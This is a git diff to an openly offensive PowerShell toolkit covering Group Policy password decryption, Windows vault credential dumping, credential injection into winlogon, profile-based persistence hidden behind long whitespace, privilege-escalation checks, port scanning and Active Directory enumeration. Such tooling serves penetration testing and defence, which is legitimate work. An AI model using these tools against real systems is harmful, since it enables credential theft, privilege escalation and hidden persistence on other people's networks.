aboutsummaryrefslogtreecommitdiff
diff options
context:
space:
mode:
-rw-r--r--Exfiltration/Get-GPPPassword.ps15
-rw-r--r--Exfiltration/Get-VaultCredential.ps18
-rw-r--r--Exfiltration/Invoke-CredentialInjection.ps16
-rw-r--r--Persistence/Persistence.psm12
-rw-r--r--Privesc/PowerUp.ps123
-rw-r--r--Recon/Invoke-Portscan.ps161
-rwxr-xr-xRecon/PowerView.ps11802
7 files changed, 1793 insertions, 114 deletions
diff --git a/Exfiltration/Get-GPPPassword.ps1 b/Exfiltration/Get-GPPPassword.ps1
index f7be74c..7703508 100644
--- a/Exfiltration/Get-GPPPassword.ps1
+++ b/Exfiltration/Get-GPPPassword.ps1
@@ -118,6 +118,9 @@ http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html
}
$Base64Decoded = [Convert]::FromBase64String($Cpassword)
+
+ # Make sure System.Core is loaded
+ [System.Reflection.Assembly]::LoadWithPartialName("System.Core") |Out-Null
#Create a new AES .NET Crypto Object
$AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider
@@ -345,4 +348,4 @@ http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html
}
catch { Write-Error $Error[0] }
-} \ No newline at end of file
+}
diff --git a/Exfiltration/Get-VaultCredential.ps1 b/Exfiltration/Get-VaultCredential.ps1
index 57570e8..e37f3fc 100644
--- a/Exfiltration/Get-VaultCredential.ps1
+++ b/Exfiltration/Get-VaultCredential.ps1
@@ -28,8 +28,6 @@ Only web credentials can be displayed in cleartext.
[CmdletBinding()] Param()
$OSVersion = [Environment]::OSVersion.Version
- $OSMajor = $OSVersion.Major
- $OSMinor = $OSVersion.Minor
#region P/Invoke declarations for vaultcli.dll
$DynAssembly = New-Object System.Reflection.AssemblyName('VaultUtil')
@@ -79,7 +77,7 @@ Only web credentials can be displayed in cleartext.
$null = $TypeBuilder.DefineField('pResourceElement', [IntPtr], 'Public')
$null = $TypeBuilder.DefineField('pIdentityElement', [IntPtr], 'Public')
$null = $TypeBuilder.DefineField('pAuthenticatorElement', [IntPtr], 'Public')
- if ($OSMajor -ge 6 -and $OSMinor -ge 2)
+ if ($OSVersion -ge '6.2')
{
$null = $TypeBuilder.DefineField('pPackageSid', [IntPtr], 'Public')
}
@@ -149,7 +147,7 @@ Only web credentials can be displayed in cleartext.
[Runtime.InteropServices.CallingConvention]::Winapi,
[Runtime.InteropServices.CharSet]::Auto)
- if ($OSMajor -ge 6 -and $OSMinor -ge 2)
+ if ($OSVersion -ge '6.2')
{
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('VaultGetItem',
'vaultcli.dll',
@@ -317,7 +315,7 @@ Only web credentials can be displayed in cleartext.
$PasswordVaultItem = [IntPtr]::Zero
- if ($OSMajor -ge 6 -and $OSMinor -ge 2)
+ if ($OSVersion -ge '6.2')
{
$Result = $Vaultcli::VaultGetItem($VaultHandle,
[Ref] $CurrentItem.SchemaId,
diff --git a/Exfiltration/Invoke-CredentialInjection.ps1 b/Exfiltration/Invoke-CredentialInjection.ps1
index d6f3c4c..b025328 100644
--- a/Exfiltration/Invoke-CredentialInjection.ps1
+++ b/Exfiltration/Invoke-CredentialInjection.ps1
@@ -2416,7 +2416,7 @@ function Invoke-CredentialInjection
$PEInfo = Get-PEBasicInfo -PEBytes $PEBytes -Win32Types $Win32Types
$OriginalImageBase = $PEInfo.OriginalImageBase
$NXCompatible = $true
- if (($PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT) -ne $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT)
+ if (([Int] $PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT) -ne $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT)
{
Write-Warning "PE is not compatible with DEP, might cause issues" -WarningAction Continue
$NXCompatible = $false
@@ -2474,7 +2474,7 @@ function Invoke-CredentialInjection
Write-Verbose "Allocating memory for the PE and write its headers to memory"
[IntPtr]$LoadAddr = [IntPtr]::Zero
- if (($PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) -ne $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE)
+ if (([Int] $PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) -ne $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE)
{
Write-Warning "PE file being reflectively loaded is not ASLR compatible. If the loading fails, try restarting PowerShell and trying again" -WarningAction Continue
[IntPtr]$LoadAddr = $OriginalImageBase
@@ -3346,7 +3346,7 @@ function Invoke-CredentialInjection
}
elseif ($PsCmdlet.ParameterSetName -ieq "ExistingWinLogon")
{
- $WinLogonProcessId = (Get-Process -Name "winlogon")[0].Id
+ $WinLogonProcessId = (Get-Process -Name "winlogon"| Select-Object -first 1).Id
}
#Get a ushort representing the logontype
diff --git a/Persistence/Persistence.psm1 b/Persistence/Persistence.psm1
index 7e4bbb9..80aa5a2 100644
--- a/Persistence/Persistence.psm1
+++ b/Persistence/Persistence.psm1
@@ -740,8 +740,10 @@ else
$PersistenceRemoval = @"
# Execute the following to remove the elevated persistent payload
$ElevatedTriggerRemoval
+(gc `$PROFILE.AllUsersAllHosts) -replace '[\s]{600}.+',''| Out-File `$PROFILE.AllUsersAllHosts -Fo
# Execute the following to remove the user-level persistent payload
$UserTriggerRemoval
+(gc `$PROFILE.CurrentUserAllHosts) -replace '[\s]{600}.+',''| Out-File `$PROFILE.CurrentUserAllHosts -Fo
"@
diff --git a/Privesc/PowerUp.ps1 b/Privesc/PowerUp.ps1
index 3971571..45edcec 100644
--- a/Privesc/PowerUp.ps1
+++ b/Privesc/PowerUp.ps1
@@ -875,10 +875,13 @@ a modifiable path.
else {
# if the path doesn't exist, check if the parent folder allows for modification
- $ParentPath = (Split-Path -Path $TempPath -Parent -ErrorAction SilentlyContinue).Trim()
- if ($ParentPath -and ($ParentPath -ne '') -and (Test-Path -Path $ParentPath -ErrorAction SilentlyContinue)) {
- $CandidatePaths += Resolve-Path -Path $ParentPath -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Path
+ try {
+ $ParentPath = (Split-Path -Path $TempPath -Parent -ErrorAction SilentlyContinue).Trim()
+ if ($ParentPath -and ($ParentPath -ne '') -and (Test-Path -Path $ParentPath -ErrorAction SilentlyContinue)) {
+ $CandidatePaths += Resolve-Path -Path $ParentPath -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Path
+ }
}
+ catch {}
}
}
}
@@ -2067,7 +2070,13 @@ https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/wind
if ($VulnServices) {
ForEach ($Service in $VulnServices) {
- $ModifiableFiles = $Service.pathname.Split(' ') | Get-ModifiablePath
+ $SplitPathArray = $Service.pathname.Split(' ')
+ $ConcatPathArray = @()
+ for ($i=0;$i -lt $SplitPathArray.Count; $i++) {
+ $ConcatPathArray += $SplitPathArray[0..$i] -join ' '
+ }
+
+ $ModifiableFiles = $ConcatPathArray | Get-ModifiablePath
$ModifiableFiles | Where-Object {$_ -and $_.ModifiablePath -and ($_.ModifiablePath -ne '')} | Foreach-Object {
$CanRestart = Test-ServiceDaclPermission -PermissionSet 'Restart' -Name $Service.name
@@ -2699,7 +2708,7 @@ Required Dependencies: Get-ServiceDetail, Get-ModifiablePath, Write-ServiceBinar
.DESCRIPTION
-Takes a esrvice Name or a ServiceProcess.ServiceController on the pipeline where the
+Takes a service Name or a ServiceProcess.ServiceController on the pipeline where the
current user can modify the associated service binary listed in the binPath. Backs up
the original service binary to "OriginalService.exe.bak" in service binary location,
and then uses Write-ServiceBinary to create a C# service binary that either adds
@@ -3042,7 +3051,9 @@ https://www.mandiant.com/blog/malware-persistence-windows-registry/
# the known DLL cache to exclude from our findings
# http://blogs.msdn.com/b/larryosterman/archive/2004/07/19/187752.aspx
$Keys = (Get-Item "HKLM:\System\CurrentControlSet\Control\Session Manager\KnownDLLs")
- $KnownDLLs = $(ForEach ($KeyName in $Keys.GetValueNames()) { $Keys.GetValue($KeyName) }) | Where-Object { $_.EndsWith(".dll") }
+ $KnownDLLs = $(ForEach ($KeyName in $Keys.GetValueNames()) { $Keys.GetValue($KeyName).tolower() }) | Where-Object { $_.EndsWith(".dll") }
+ $KnownDLLPaths = $(ForEach ($name in $Keys.GetValueNames()) { $Keys.GetValue($name).tolower() }) | Where-Object { -not $_.EndsWith(".dll") }
+ $KnownDLLs += ForEach ($path in $KnownDLLPaths) { ls -force $path\*.dll | Select-Object -ExpandProperty Name | ForEach-Object { $_.tolower() }}
$CurrentUser = [System.Security.Principal.WindowsIdentity]::GetCurrent().Name
# get the owners for all processes
diff --git a/Recon/Invoke-Portscan.ps1 b/Recon/Invoke-Portscan.ps1
index 7e28709..ce76088 100644
--- a/Recon/Invoke-Portscan.ps1
+++ b/Recon/Invoke-Portscan.ps1
@@ -262,6 +262,8 @@ http://webstersprodigy.net
[String[]] $iHosts = $Hosts.Split(",")
+ $IPRangeRegex = "\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}-\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}"
+
foreach($iHost in $iHosts)
{
$iHost = $iHost.Replace(" ", "")
@@ -316,6 +318,65 @@ http://webstersprodigy.net
}
}
+
+ if($iHost -match $IPRangeRegex)
+ {
+
+ $iHostPart1 = ($iHost.Split("-"))[0]
+ $iHostPart2 = ($iHost.Split("-"))[1]
+
+ $LowerBound = $iHostPart1.Split(".")
+ $UpperBound = $iHostPart2.Split(".")
+
+ $LowerBoundInt = ($LowerBound[0].ToInt32($null),$LowerBound[1].ToInt32($null),$LowerBound[2].ToInt32($null),$LowerBound[3].ToInt32($null))
+ $UpperBoundInt = ($UpperBound[0].ToInt32($null),$UpperBound[1].ToInt32($null),$UpperBound[2].ToInt32($null),$UpperBound[3].ToInt32($null))
+
+ $CurrentIP = $LowerBoundInt
+ $CurrentIPString = $null
+ $ControlArray = @(0,0,0,0)
+
+ $null = $hostList.Add($iHostPart1)
+
+ while($CurrentIPString -ne $iHostPart2)
+ {
+ for($i=0;$i -lt 4;$i++)
+ {
+
+ if(($CurrentIP[$i] -eq $UpperBoundInt[$i]) -and (($i -eq 0) -or $ControlArray[$i-1] -eq 1))
+ {
+ $ControlArray[$i] = 1
+ continue
+ }
+ else
+ {
+
+ $Max = 254
+ if(($i -ne 0) -and ($ControlArray[$i-1] -eq 1))
+ {
+ $Max = $UpperBoundInt[$i]
+ }
+
+ if(($i -ne 3) -and ($CurrentIP[$i+1] -eq 254))
+ {
+ $CurrentIP[$i]++
+ $CurrentIP[$i+1]=0
+
+ $CurrentIPString = ($CurrentIP[0].ToString() + "." + $CurrentIP[1].ToString() + "." + $CurrentIP[2].ToString() + "." + $CurrentIP[3].ToString())
+ $null = $hostList.Add($CurrentIPString)
+ }
+
+ if(($i -eq 3) -and ($CurrentIP[$i] -lt $Max))
+ {
+ $CurrentIP[$i]++
+
+ $CurrentIPString = ($CurrentIP[0].ToString() + "." + $CurrentIP[1].ToString() + "." + $CurrentIP[2].ToString() + "." + $CurrentIP[3].ToString())
+ $null = $hostList.Add($CurrentIPString)
+ }
+ }
+ }
+ }
+
+ }
else
{
$hostList.Add($iHost)
diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1
index 487ed09..89557ee 100755
--- a/Recon/PowerView.ps1
+++ b/Recon/PowerView.ps1
@@ -731,6 +731,363 @@ New-Struct. :P
#
########################################################
+Function New-DynamicParameter {
+<#
+.SYNOPSIS
+
+Helper function to simplify creating dynamic parameters.
+
+ Adapated from https://beatcracker.wordpress.com/2015/08/10/dynamic-parameters-validateset-and-enums/.
+ Originally released under the Microsoft Public License (Ms-PL).
+
+.DESCRIPTION
+
+Helper function to simplify creating dynamic parameters.
+
+Example use cases:
+ Include parameters only if your environment dictates it
+ Include parameters depending on the value of a user-specified parameter
+ Provide tab completion and intellisense for parameters, depending on the environment
+
+Please keep in mind that all dynamic parameters you create, will not have corresponding variables created.
+ Use New-DynamicParameter with 'CreateVariables' switch in your main code block,
+ ('Process' for advanced functions) to create those variables.
+ Alternatively, manually reference $PSBoundParameters for the dynamic parameter value.
+
+This function has two operating modes:
+
+1. All dynamic parameters created in one pass using pipeline input to the function. This mode allows to create dynamic parameters en masse,
+with one function call. There is no need to create and maintain custom RuntimeDefinedParameterDictionary.
+
+2. Dynamic parameters are created by separate function calls and added to the RuntimeDefinedParameterDictionary you created beforehand.
+Then you output this RuntimeDefinedParameterDictionary to the pipeline. This allows more fine-grained control of the dynamic parameters,
+with custom conditions and so on.
+
+.NOTES
+
+Credits to jrich523 and ramblingcookiemonster for their initial code and inspiration:
+ https://github.com/RamblingCookieMonster/PowerShell/blob/master/New-DynamicParam.ps1
+ http://ramblingcookiemonster.wordpress.com/2014/11/27/quick-hits-credentials-and-dynamic-parameters/
+ http://jrich523.wordpress.com/2013/05/30/powershell-simple-way-to-add-dynamic-parameters-to-advanced-function/
+
+Credit to BM for alias and type parameters and their handling
+
+.PARAMETER Name
+
+Name of the dynamic parameter
+
+.PARAMETER Type
+
+Type for the dynamic parameter. Default is string
+
+.PARAMETER Alias
+
+If specified, one or more aliases to assign to the dynamic parameter
+
+.PARAMETER Mandatory
+
+If specified, set the Mandatory attribute for this dynamic parameter
+
+.PARAMETER Position
+
+If specified, set the Position attribute for this dynamic parameter
+
+.PARAMETER HelpMessage
+
+If specified, set the HelpMessage for this dynamic parameter
+
+.PARAMETER DontShow
+
+If specified, set the DontShow for this dynamic parameter.
+This is the new PowerShell 4.0 attribute that hides parameter from tab-completion.
+http://www.powershellmagazine.com/2013/07/29/pstip-hiding-parameters-from-tab-completion/
+
+.PARAMETER ValueFromPipeline
+
+If specified, set the ValueFromPipeline attribute for this dynamic parameter
+
+.PARAMETER ValueFromPipelineByPropertyName
+
+If specified, set the ValueFromPipelineByPropertyName attribute for this dynamic parameter
+
+.PARAMETER ValueFromRemainingArguments
+
+If specified, set the ValueFromRemainingArguments attribute for this dynamic parameter
+
+.PARAMETER ParameterSetName
+
+If specified, set the ParameterSet attribute for this dynamic parameter. By default parameter is added to all parameters sets.
+
+.PARAMETER AllowNull
+
+If specified, set the AllowNull attribute of this dynamic parameter
+
+.PARAMETER AllowEmptyString
+
+If specified, set the AllowEmptyString attribute of this dynamic parameter
+
+.PARAMETER AllowEmptyCollection
+
+If specified, set the AllowEmptyCollection attribute of this dynamic parameter
+
+.PARAMETER ValidateNotNull
+
+If specified, set the ValidateNotNull attribute of this dynamic parameter
+
+.PARAMETER ValidateNotNullOrEmpty
+
+If specified, set the ValidateNotNullOrEmpty attribute of this dynamic parameter
+
+.PARAMETER ValidateRange
+
+If specified, set the ValidateRange attribute of this dynamic parameter
+
+.PARAMETER ValidateLength
+
+If specified, set the ValidateLength attribute of this dynamic parameter
+
+.PARAMETER ValidatePattern
+
+If specified, set the ValidatePattern attribute of this dynamic parameter
+
+.PARAMETER ValidateScript
+
+If specified, set the ValidateScript attribute of this dynamic parameter
+
+.PARAMETER ValidateSet
+
+If specified, set the ValidateSet attribute of this dynamic parameter
+
+.PARAMETER Dictionary
+
+If specified, add resulting RuntimeDefinedParameter to an existing RuntimeDefinedParameterDictionary.
+Appropriate for custom dynamic parameters creation.
+
+If not specified, create and return a RuntimeDefinedParameterDictionary
+Appropriate for a simple dynamic parameter creation.
+#>
+
+ [CmdletBinding(DefaultParameterSetName = 'DynamicParameter')]
+ Param (
+ [Parameter(Mandatory = $true, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
+ [ValidateNotNullOrEmpty()]
+ [string]$Name,
+
+ [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
+ [System.Type]$Type = [int],
+
+ [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
+ [string[]]$Alias,
+
+ [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
+ [switch]$Mandatory,
+
+ [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
+ [int]$Position,
+
+ [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
+ [string]$HelpMessage,
+
+ [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
+ [switch]$DontShow,
+
+ [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
+ [switch]$ValueFromPipeline,
+
+ [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
+ [switch]$ValueFromPipelineByPropertyName,
+
+ [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
+ [switch]$ValueFromRemainingArguments,
+
+ [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
+ [string]$ParameterSetName = '__AllParameterSets',
+
+ [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
+ [switch]$AllowNull,
+
+ [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
+ [switch]$AllowEmptyString,
+
+ [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
+ [switch]$AllowEmptyCollection,
+
+ [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
+ [switch]$ValidateNotNull,
+
+ [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
+ [switch]$ValidateNotNullOrEmpty,
+
+ [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
+ [ValidateCount(2,2)]
+ [int[]]$ValidateCount,
+
+ [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
+ [ValidateCount(2,2)]
+ [int[]]$ValidateRange,
+
+ [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
+ [ValidateCount(2,2)]
+ [int[]]$ValidateLength,
+
+ [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
+ [ValidateNotNullOrEmpty()]
+ [string]$ValidatePattern,
+
+ [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
+ [ValidateNotNullOrEmpty()]
+ [scriptblock]$ValidateScript,
+
+ [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
+ [ValidateNotNullOrEmpty()]
+ [string[]]$ValidateSet,
+
+ [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
+ [ValidateNotNullOrEmpty()]
+ [ValidateScript({
+ if(!($_ -is [System.Management.Automation.RuntimeDefinedParameterDictionary]))
+ {
+ Throw 'Dictionary must be a System.Management.Automation.RuntimeDefinedParameterDictionary object'
+ }
+ $true
+ })]
+ $Dictionary = $false,
+
+ [Parameter(Mandatory = $true, ValueFromPipelineByPropertyName = $true, ParameterSetName = 'CreateVariables')]
+ [switch]$CreateVariables,
+
+ [Parameter(Mandatory = $true, ValueFromPipelineByPropertyName = $true, ParameterSetName = 'CreateVariables')]
+ [ValidateNotNullOrEmpty()]
+ [ValidateScript({
+ # System.Management.Automation.PSBoundParametersDictionary is an internal sealed class,
+ # so one can't use PowerShell's '-is' operator to validate type.
+ if($_.GetType().Name -notmatch 'Dictionary') {
+ Throw 'BoundParameters must be a System.Management.Automation.PSBoundParametersDictionary object'
+ }
+ $true
+ })]
+ $BoundParameters
+ )
+
+ Begin {
+ $InternalDictionary = New-Object -TypeName System.Management.Automation.RuntimeDefinedParameterDictionary
+ function _temp { [CmdletBinding()] Param() }
+ $CommonParameters = (Get-Command _temp).Parameters.Keys
+ }
+
+ Process {
+ if($CreateVariables) {
+ $BoundKeys = $BoundParameters.Keys | Where-Object { $CommonParameters -notcontains $_ }
+ ForEach($Parameter in $BoundKeys) {
+ if ($Parameter) {
+ Set-Variable -Name $Parameter -Value $BoundParameters.$Parameter -Scope 1 -Force
+ }
+ }
+ }
+ else {
+ $StaleKeys = @()
+ $StaleKeys = $PSBoundParameters.GetEnumerator() |
+ ForEach-Object {
+ if($_.Value.PSobject.Methods.Name -match '^Equals$') {
+ # If object has Equals, compare bound key and variable using it
+ if(!$_.Value.Equals((Get-Variable -Name $_.Key -ValueOnly -Scope 0))) {
+ $_.Key
+ }
+ }
+ else {
+ # If object doesn't has Equals (e.g. $null), fallback to the PowerShell's -ne operator
+ if($_.Value -ne (Get-Variable -Name $_.Key -ValueOnly -Scope 0)) {
+ $_.Key
+ }
+ }
+ }
+ if($StaleKeys) {
+ $StaleKeys | ForEach-Object {[void]$PSBoundParameters.Remove($_)}
+ }
+
+ # Since we rely solely on $PSBoundParameters, we don't have access to default values for unbound parameters
+ $UnboundParameters = (Get-Command -Name ($PSCmdlet.MyInvocation.InvocationName)).Parameters.GetEnumerator() |
+ # Find parameters that are belong to the current parameter set
+ Where-Object { $_.Value.ParameterSets.Keys -contains $PsCmdlet.ParameterSetName } |
+ Select-Object -ExpandProperty Key |
+ # Find unbound parameters in the current parameter set
+ Where-Object { $PSBoundParameters.Keys -notcontains $_ }
+
+ # Even if parameter is not bound, corresponding variable is created with parameter's default value (if specified)
+ $tmp = $null
+ ForEach ($Parameter in $UnboundParameters) {
+ $DefaultValue = Get-Variable -Name $Parameter -ValueOnly -Scope 0
+ if(!$PSBoundParameters.TryGetValue($Parameter, [ref]$tmp) -and $DefaultValue) {
+ $PSBoundParameters.$Parameter = $DefaultValue
+ }
+ }
+
+ if($Dictionary) {
+ $DPDictionary = $Dictionary
+ }
+ else {
+ $DPDictionary = $InternalDictionary
+ }
+
+ # Shortcut for getting local variables
+ $GetVar = {Get-Variable -Name $_ -ValueOnly -Scope 0}
+
+ # Strings to match attributes and validation arguments
+ $AttributeRegex = '^(Mandatory|Position|ParameterSetName|DontShow|HelpMessage|ValueFromPipeline|ValueFromPipelineByPropertyName|ValueFromRemainingArguments)$'
+ $ValidationRegex = '^(AllowNull|AllowEmptyString|AllowEmptyCollection|ValidateCount|ValidateLength|ValidatePattern|ValidateRange|ValidateScript|ValidateSet|ValidateNotNull|ValidateNotNullOrEmpty)$'
+ $AliasRegex = '^Alias$'
+ $ParameterAttribute = New-Object -TypeName System.Management.Automation.ParameterAttribute
+
+ switch -regex ($PSBoundParameters.Keys) {
+ $AttributeRegex {
+ Try {
+ $ParameterAttribute.$_ = . $GetVar
+ }
+ Catch {
+ $_
+ }
+ continue
+ }
+ }
+
+ if($DPDictionary.Keys -contains $Name) {
+ $DPDictionary.$Name.Attributes.Add($ParameterAttribute)
+ }
+ else {
+ $AttributeCollection = New-Object -TypeName Collections.ObjectModel.Collection[System.Attribute]
+ switch -regex ($PSBoundParameters.Keys) {
+ $ValidationRegex {
+ Try {
+ $ParameterOptions = New-Object -TypeName "System.Management.Automation.${_}Attribute" -ArgumentList (. $GetVar) -ErrorAction Stop
+ $AttributeCollection.Add($ParameterOptions)
+ }
+ Catch { $_ }
+ continue
+ }
+ $AliasRegex {
+ Try {
+ $ParameterAlias = New-Object -TypeName System.Management.Automation.AliasAttribute -ArgumentList (. $GetVar) -ErrorAction Stop
+ $AttributeCollection.Add($ParameterAlias)
+ continue
+ }
+ Catch { $_ }
+ }
+ }
+ $AttributeCollection.Add($ParameterAttribute)
+ $Parameter = New-Object -TypeName System.Management.Automation.RuntimeDefinedParameter -ArgumentList @($Name, $Type, $AttributeCollection)
+ $DPDictionary.Add($Name, $Parameter)
+ }
+ }
+ }
+
+ End {
+ if(!$CreateVariables -and !$Dictionary) {
+ $DPDictionary
+ }
+ }
+}
+
+
function Get-IniContent {
<#
.SYNOPSIS
@@ -752,6 +1109,10 @@ is parsed, and then the connection is destroyed with Remove-RemoteConnection.
Specifies the path to the .ini file to parse.
+.PARAMETER OutputObject
+
+Switch. Output a custom PSObject instead of a hashtable.
+
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
@@ -763,6 +1124,12 @@ Get-IniContent C:\Windows\example.ini
.EXAMPLE
+"C:\Windows\example.ini" | Get-IniContent -OutputObject
+
+Outputs the .ini details as a proper nested PSObject.
+
+.EXAMPLE
+
"C:\Windows\example.ini" | Get-IniContent
.EXAMPLE
@@ -800,7 +1167,10 @@ https://blogs.technet.microsoft.com/heyscriptingguy/2011/08/20/use-powershell-to
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
- $Credential = [Management.Automation.PSCredential]::Empty
+ $Credential = [Management.Automation.PSCredential]::Empty,
+
+ [Switch]
+ $OutputObject
)
BEGIN {
@@ -819,12 +1189,24 @@ https://blogs.technet.microsoft.com/heyscriptingguy/2011/08/20/use-powershell-to
}
if (Test-Path -Path $TargetPath) {
- $IniObject = @{}
+ if ($PSBoundParameters['OutputObject']) {
+ $IniObject = New-Object PSObject
+ }
+ else {
+ $IniObject = @{}
+ }
Switch -Regex -File $TargetPath {
"^\[(.+)\]" # Section
{
$Section = $matches[1].Trim()
- $IniObject[$Section] = @{}
+ if ($PSBoundParameters['OutputObject']) {
+ $Section = $Section.Replace(' ', '')
+ $SectionObject = New-Object PSObject
+ $IniObject | Add-Member Noteproperty $Section $SectionObject
+ }
+ else {
+ $IniObject[$Section] = @{}
+ }
$CommentCount = 0
}
"^(;.*)$" # Comment
@@ -832,15 +1214,29 @@ https://blogs.technet.microsoft.com/heyscriptingguy/2011/08/20/use-powershell-to
$Value = $matches[1].Trim()
$CommentCount = $CommentCount + 1
$Name = 'Comment' + $CommentCount
- $IniObject[$Section][$Name] = $Value
+ if ($PSBoundParameters['OutputObject']) {
+ $Name = $Name.Replace(' ', '')
+ $IniObject.$Section | Add-Member Noteproperty $Name $Value
+ }
+ else {
+ $IniObject[$Section][$Name] = $Value
+ }
}
"(.+?)\s*=(.*)" # Key
{
$Name, $Value = $matches[1..2]
$Name = $Name.Trim()
$Values = $Value.split(',') | ForEach-Object { $_.Trim() }
- if ($Values -isnot [System.Array]) { $Values = @($Values) }
- $IniObject[$Section][$Name] = $Values
+
+ # if ($Values -isnot [System.Array]) { $Values = @($Values) }
+
+ if ($PSBoundParameters['OutputObject']) {
+ $Name = $Name.Replace(' ', '')
+ $IniObject.$Section | Add-Member Noteproperty $Name $Values
+ }
+ else {
+ $IniObject[$Section][$Name] = $Values
+ }
}
}
$IniObject
@@ -2751,13 +3147,22 @@ A custom PSObject with LDAP hashtable properties translated.
$Properties.PropertyNames | ForEach-Object {
if ($_ -ne 'adspath') {
if (($_ -eq 'objectsid') -or ($_ -eq 'sidhistory')) {
- # convert the SID to a string
- $ObjectProperties[$_] = (New-Object System.Security.Principal.SecurityIdentifier($Properties[$_][0], 0)).Value
+ # convert all listed sids (i.e. if multiple are listed in sidHistory)
+ $ObjectProperties[$_] = $Properties[$_] | ForEach-Object { (New-Object System.Security.Principal.SecurityIdentifier($_, 0)).Value }
+ }
+ elseif ($_ -eq 'grouptype') {
+ $ObjectProperties[$_] = $Properties[$_][0] -as $GroupTypeEnum
+ }
+ elseif ($_ -eq 'samaccounttype') {
+ $ObjectProperties[$_] = $Properties[$_][0] -as $SamAccountTypeEnum
}
elseif ($_ -eq 'objectguid') {
# convert the GUID to a string
$ObjectProperties[$_] = (New-Object Guid (,$Properties[$_][0])).Guid
}
+ elseif ($_ -eq 'useraccountcontrol') {
+ $ObjectProperties[$_] = $Properties[$_][0] -as $UACEnum
+ }
elseif ($_ -eq 'ntsecuritydescriptor') {
# $ObjectProperties[$_] = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $Properties[$_][0], 0
$Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $Properties[$_][0], 0
@@ -2774,6 +3179,14 @@ A custom PSObject with LDAP hashtable properties translated.
$ObjectProperties['SystemAcl'] = $Descriptor.SystemAcl
}
}
+ elseif ($_ -eq 'accountexpires') {
+ if ($Properties[$_][0] -gt [DateTime]::MaxValue.Ticks) {
+ $ObjectProperties[$_] = "NEVER"
+ }
+ else {
+ $ObjectProperties[$_] = [datetime]::fromfiletime($Properties[$_][0])
+ }
+ }
elseif ( ($_ -eq 'lastlogon') -or ($_ -eq 'lastlogontimestamp') -or ($_ -eq 'pwdlastset') -or ($_ -eq 'lastlogoff') -or ($_ -eq 'badPasswordTime') ) {
# convert timestamps
if ($Properties[$_][0] -is [System.MarshalByRefObject]) {
@@ -4178,19 +4591,16 @@ Finds user/group/computer objects in AD that have 'outlier' properties set.
Author: Will Schroeder (@harmj0y), Matthew Graeber (@mattifestation)
License: BSD 3-Clause
-Required Dependencies: Get-Domain, Get-DomainUser, Get-DomainGroup, Get-DomainComputer, Get-ForestSchemaClass
+Required Dependencies: Get-Domain, Get-DomainUser, Get-DomainGroup, Get-DomainComputer
.DESCRIPTION
-Enumerates the schema for the specified -ClassName (if passed) by using Get-ForestSchemaClass.
-If a -ReferenceObject is passed, the class is extracted from the passed object.
-A 'reference' set of property names is then calculated, either from a standard set preserved
+A 'reference' set of property names is calculated, either from a standard set preserved
for user/group/computers, or from the array of names passed to -ReferencePropertySet, or
-from the property names of the passed -ReferenceObject. These property names are substracted
-from the master schema propertyu name list to retrieve a set of 'non-standard' properties.
-Every user/group/computer object (depending on determined class) are enumerated, and for each
-object, if the object has a 'non-standard' property set, the object samAccountName, property
-name, and property value are output to the pipeline.
+from the property names of the passed -ReferenceObject. Every user/group/computer object
+(depending on determined class) are enumerated, and for each object, if the object has a
+'non-standard' property set (meaning a property not held by the reference set), the object's
